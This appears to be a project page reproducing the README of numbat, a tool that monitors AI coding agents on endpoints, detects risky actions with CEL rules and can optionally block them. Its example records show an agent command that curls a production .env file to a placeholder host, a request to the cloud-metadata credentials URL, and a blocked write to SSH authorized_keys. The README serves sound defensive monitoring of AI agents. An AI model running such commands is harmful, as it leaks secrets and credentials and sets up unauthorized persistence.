← Back to all projects

numbat

Endpoint capture of AI agent activity into NDJSON, matched against local CEL rules, with opt-in blocking

OfficialApache-2.0
Stars
924
Forks
97
Open issues
6
Last commit
14 Aug 2026

Overview

numbat is a single binary that watches supported desktop, CLI, IDE and gateway agents through hooks, plugins and OTLP/HTTP log exporters, normalizes their activity into one event model, and evaluates it with a local CEL rule engine that writes versioned NDJSON events, findings and enforcement decisions. It also reconstructs past sessions from on-disk artifacts via `numbat scan`, so you can investigate an agent that was never instrumented. Blocking is deliberately conservative: enforce mode is off by default and every shipped rule is monitor-only, so denying an action means copying the rule YAML into your own `--rules-dir`, keeping its id, adding `enforce: true` and bumping the version. It is a poor fit if you expect coverage of arbitrary agents or a definitive account of what ran — the coverage matrix decides what is observable per host and surface, at-rest reconstruction cannot recover activity an agent never persisted, and findings are rule matches rather than proof that an action completed.

What can you do with numbat?

  • Survey an endpoint before instrumenting itnumbat agents lists discovered agents and numbat scan --agent codex parses their on-disk session artifacts; both are read-only and install no hooks or agent config changes.
  • Stream live activity to a local record filenumbat hook install --agent codex --emit all appends events, findings, indicators and applicable enforcement decisions to ~/.numbat/records.ndjson, while numbat hook status verifies configuration only — not execution or delivery.
  • Write detections in CEL and test them firstCustom YAML rules run through numbat rules check --rules-dir ./numbat-policy and numbat rules test; a rules directory replaces an embedded rule when it reuses the same id, and --no-builtin-rules gives an operator-only catalog.
  • Promote a monitor rule into a denyCopy the shipped YAML from rules/, keep the id, add enforce: true, bump the version, then numbat hook install --agent codex --rules-dir ./numbat-policy --enforce; blocking applies only to agents with a supported synchronous pre-action hook.
  • Hand an investigation to someone elsenumbat timeline builds a per-session view and numbat case build / numbat case verify produce and check bundles with SHA-256 manifests — which establish internal consistency, not source authenticity; complete raw transcripts stay out of normal records unless you opt into adding evidence files.

Documentation

Reproduced from the perplexityai/numbat README, published under Apache-2.0. Read the original ↗

numbat

Endpoint visibility into AI agent activity, with local detection, optional pre-action blocking, and forensic reconstruction.

numbat observes supported desktop, CLI, IDE, and gateway agents through local hooks and plugins, OTLP/HTTP logs, and on-disk session artifacts. Live and at-rest activity is normalized into one event model and evaluated by the same CEL rule engine. Detection runs locally; records can be written to stdout or a local file and optionally delivered over HTTP.

The coverage matrix is authoritative for each host and surface. Blocking is off by default and limited to supported synchronous pre-action hooks; see the enforcement guide.

Features

  • Live monitoring through hooks, plugins, and OTLP/HTTP log exporters.
  • Endpoint-local detection with built-in CEL rules, multi-step sequence rules, and custom YAML rules.
  • Opt-in blocking through supported pre-action hooks. Enforce mode is disabled by default and applies only to rules marked enforce: true; all shipped rules are monitor-only.
  • Forensic reconstruction from supported on-disk session artifacts, without prior numbat instrumentation.
  • Versioned NDJSON records for events, findings, enforcement decisions, indicators, and scan summaries. Events and findings retain source references; JSON Schemas define the wire format.
  • Read-only artifact scanning with secret redaction. Normal record output never includes a complete raw transcript; adding raw evidence files to a case bundle is opt-in.
  • Inventory and investigation tools for read-only agent discovery, per-session timelines, and portable case bundles with SHA-256 manifests.
  • Single-binary distribution for macOS, Linux, and Windows, built without cgo.

Quick start

Install

Download a release for macOS, Linux, or Windows on amd64 or arm64. Each release includes SHA-256 checksums. You can also install with Go 1.26.6 or newer:

go install github.com/perplexityai/numbat/cmd/numbat@latest

macOS or Linux:

CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat

Windows PowerShell:

$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat

Inventory and scan

These read-only commands do not install hooks or change agent configuration:

numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex

Monitor and enforce

Install live monitoring for any agent with live-capture support; the commands below use Codex as a concrete example. Hooks start in monitor-only mode. --emit all writes events, findings, indicators, and applicable enforcement decisions to ~/.numbat/records.ndjson.

numbat hook install --agent codex --emit all
numbat hook status --agent codex

Hook trust: Requirements vary by agent and scope. For the Codex user hook above, review and trust its current definition in /hooks (CLI) or Settings > Hooks (app), including after changes such as --enforce. Codex hooks installed with --managed are trusted by policy. hook status verifies configuration, not execution or delivery. See the deployment guide for other agents and scopes.

All shipped rules are monitor-only. To enforce a detection, copy its complete shipped YAML into a controlled operator directory, keep the same id, add enforce: true, and bump its version. Validate and install that effective policy for a supported pre-action hook:

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Example output

A controlled OpenClaw before_tool_call callback passed through numbat’s generated plugin becomes a typed network event with its proposed destination and execution context. It also matches the high-severity cloud-metadata rule.

{
  "actor": "assistant",
  "confidence": "medium",
  "content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "node", "uid": "1000"
  },
  "event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
  "event_type": "network.indicator",
  "evidence": {"artifact_type": "hook"},
  "project_path": "/workspace/acme-api",
  "record_type": "event",
  "run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
  "schema_version": "0.3.0",
  "session_id": "agent:research:metadata-review",
  "source_agent": "openclaw",
  "source_type": "hook",
  "sub_agent": "research",
  "tags": ["network"],
  "timestamp": "2026-07-24T15:20:00Z",
  "tool_call_id": "tool-cloud-metadata-01",
  "tool_name": "browser",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

A controlled replay of two contract-valid Claude Code pre-action callbacks in one session—secret-file access, then a proposed upload—produced this finding. The rule also runs during artifact scans; the finding does not prove either action completed.

{
  "cited_event_ids": [
    "hook-run-20260724T143947.587655000-2030b2e550b19261",
    "hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
  ],
  "confidence": "medium",
  "detected_at": "2026-07-24T14:40:29.226642Z",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "evidence_refs": [
    {"artifact_type": "hook"},
    {"artifact_type": "hook"}
  ],
  "finding_id": "fnd-01be6f0c659d060e7c993a73",
  "observed_actor": "assistant",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "observed_event_type": "command.exec",
  "project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
  "record_type": "finding",
  "redacted": false,
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
  "schema_version": "0.3.0",
  "session_id": "readme-live-sequence-01",
  "severity": "high",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
  "timestamp": "2026-07-24T14:40:25.562634Z",
  "title": "Secret-file access followed by data-bearing egress"
}

With a same-id operator replacement of persistence.ssh_authorized_keys marked enforce: true at version 1.3, a Codex create_file pre-action matched the rule and numbat selected the agent-specific deny response. See Decisions for delivery and enforcement semantics.

{
  "action_event_ids": [
    "hook-run-20260724T134723.452402000-6886c86cefad57b8"
  ],
  "decision": "deny",
  "decision_id": "enf-5132cfdb6ae4d57350ec734d",
  "deny_rule_id": "persistence.ssh_authorized_keys",
  "deny_rule_version": "1.3",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "finding_ids": [
    "fnd-f467992648daec0a927b6de7"
  ],
  "mode": "enforce",
  "model": "gpt-5.6-codex",
  "reason": "enforce_rule_match",
  "record_type": "enforcement",
  "rule_ids": [
    "persistence.ssh_authorized_keys"
  ],
  "run_id": "run-20260724T134723.452402000-6886c86cefad57b8",
  "schema_version": "0.3.0",
  "session_id": "sess-doc-codex-enforce-01",
  "source_agent": "codex",
  "source_type": "hook",
  "timestamp": "2026-07-24T13:47:23.502411Z",
  "tool_call_id": "tool-doc-codex-enforce-01",
  "tool_name": "create_file"
}

See the built-in rule catalog for other detected behaviors.

The CLI reference defines the complete record contract, flags, and sinks. For rollout patterns and output durability, see docs/deployment.md.

Command overview

  • Inventory and investigation: agents, scan, and timeline
  • Live capture: hook install, hook status, hook uninstall, and collect
  • Record delivery: ship
  • Rule development: rules check, rules list, and rules test
  • Case bundles: case build and case verify

Run numbat --help for the complete command list or numbat help <command> for flags. See the CLI reference for record modes, sinks, and exit codes.

scan, collect, hook EVENT, hook install, and rules check|list|test accept --rules-dir DIR (repeatable) to add operator rules or replace embedded rules by id. Use --no-builtin-rules for an operator-only catalog. Full flag and output reference: docs/cli.md.

Documentation

  • Agent coverage: supported artifacts, live capture, enforcement, and known gaps.
  • Event model: normalization, action types, correlation, and MCP fields.
  • CLI reference: commands, flags, records, sinks, and exit codes.
  • Live capture: hook and OTLP setup.
  • Deployment: install scope, trust, fleet rollout, and output delivery.
  • Enforcement: blocking semantics and failure behavior.
  • Rules: custom rule format, CEL fields, tests, and sequences.
  • Built-in rules: shipped detection coverage.
  • Record schemas: JSON Schemas for the current wire format.

Scope

The coverage matrix documents support and known gaps per agent, including deferred stores, fidelity limits, and root overrides. Native Windows uses vendor-defined profile and AppData paths; WSL uses a separate Linux home. numbat never executes agents or commands found in artifacts, and it makes outbound requests only to configured HTTP sinks.

At-rest reconstruction is not disk or memory acquisition and cannot recover activity an agent did not persist. Findings are rule matches, not proof of compromise. Case-bundle manifests establish internal consistency; unsigned bundles do not prove source authenticity or completeness.

Security

Records can retain sensitive endpoint and agent context after redaction. See SECURITY.md for the threat model and private vulnerability reporting.